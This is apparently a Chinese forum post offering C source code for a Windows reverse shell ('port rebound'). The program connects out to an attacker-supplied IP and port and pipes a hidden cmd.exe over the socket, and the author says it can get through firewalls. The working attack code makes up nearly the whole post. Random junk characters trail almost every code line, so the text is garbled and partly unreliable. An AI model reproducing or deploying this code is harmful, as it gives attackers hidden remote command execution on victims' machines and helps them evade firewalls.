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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qe<aJn  
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/* ============================== _-5|"oJ  
Rebound port in Windows NT PEDV9u[A  
By wind,2006/7 ^e\H V4s  
===============================*/  xh|<`>5  
#include ^LAnR>mz^r  
#include IB\O[R$x  
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#pragma comment(lib,"wsock32.lib") 0 n}2D7  
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void OutputShell(); #bCQEhCy  
SOCKET sClient; +LwwI*;b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :Fh#"<A&&  
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void main(int argc,char **argv) V 0z`p"  
{  BDfJ  
WSADATA stWsaData; 9zE/SDu7\  
int nRet; \zLKSJ]  
SOCKADDR_IN stSaiClient,stSaiServer; C8t;E`  
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if(argc != 3) N.UeuLz  
{ 7&&3@96<*#  
printf("Useage:\n\rRebound DestIP DestPort\n"); i+ICgMcd  
return; z9Nial`p  
} pc2;2^U_  
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WSAStartup(MAKEWORD(2,2),&stWsaData); sZPyEIXie  
= P$Q;d  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pS+hE4D  
t Z@OAPRx  
stSaiClient.sin_family = AF_INET; (lg~}Jwq  
stSaiClient.sin_port = htons(0); 2@,rIve  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Qo\?(E M  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M$s9   
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printf("Bind Socket Failed!\n"); @{{6Nd5  
return; . ZP$,  
} XaF;IS@A  
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stSaiServer.sin_family = AF_INET; x %W%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |[!7^tU*  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `Wd4d2aLG  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W. BX6  
{ B?l 0u  
printf("Connect Error!"); wOg#J  
return; SP"t2LTP  
} jo' V.]\  
OutputShell(); @MP;/o+  
} P'^& SK  
F^.~37= @  
void OutputShell() ^hcK&  
{ 1`GW>ZKv  
char szBuff[1024]; XT?wCb41R  
SECURITY_ATTRIBUTES stSecurityAttributes; fp}5QUm-  
OSVERSIONINFO stOsversionInfo; NMS+'GRW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3_8W5J3I  
STARTUPINFO stStartupInfo; .}Eckqkp  
char *szShell; $18?Q+?3  
PROCESS_INFORMATION stProcessInformation; wjXv{EsMq  
unsigned long lBytesRead; @z^7*#vQv  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (8~D ^N6Z  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g7{:F\S  
stSecurityAttributes.lpSecurityDescriptor = 0; &?}A/(#  
stSecurityAttributes.bInheritHandle = TRUE; P *&Cght>0  
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Ym.{ {^=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eD8e0 D'S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -@ra~li,yQ  
KciN"g|X  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M:dH>  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `{m,&[ n  
stStartupInfo.wShowWindow = SW_HIDE; SLRF\mh!L  
stStartupInfo.hStdInput = hReadPipe; 3 . K #,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z;MPp#Y  
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GetVersionEx(&stOsversionInfo); I E{:{b\  
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switch(stOsversionInfo.dwPlatformId) HYL['B?Wid  
{ vCXmu_S4^>  
case 1: {T-^xwc  
szShell = "command.com"; Z*ag{N  
break; pXvys] @  
default: e ^,IZ{  
szShell = "cmd.exe"; *(qj!U43  
break; y` {|D*  
} pRzL}-[/v  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D)Ep!`Q   
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send(sClient,szMsg,77,0); ^!x! F  
while(1) Y`#6MhFT7  
{ ?rA3<j  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /]U;7)  
if(lBytesRead) {> <1K6t  
{ ANJL8t-m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t\}_WygN  
send(sClient,szBuff,lBytesRead,0); t{QQ;'  
} ;mRZ_^V;  
else s 0_*^cZ  
{ ;9~ WB X"  
lBytesRead=recv(sClient,szBuff,1024,0); ^B%c3U$o  
if(lBytesRead<=0) break; #C~ </R%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SF9NS*mr  
} %H;}+U]Z  
} U{/fY/kq  
hlZ{bO 'f  
return; J@"UFL'^  
}
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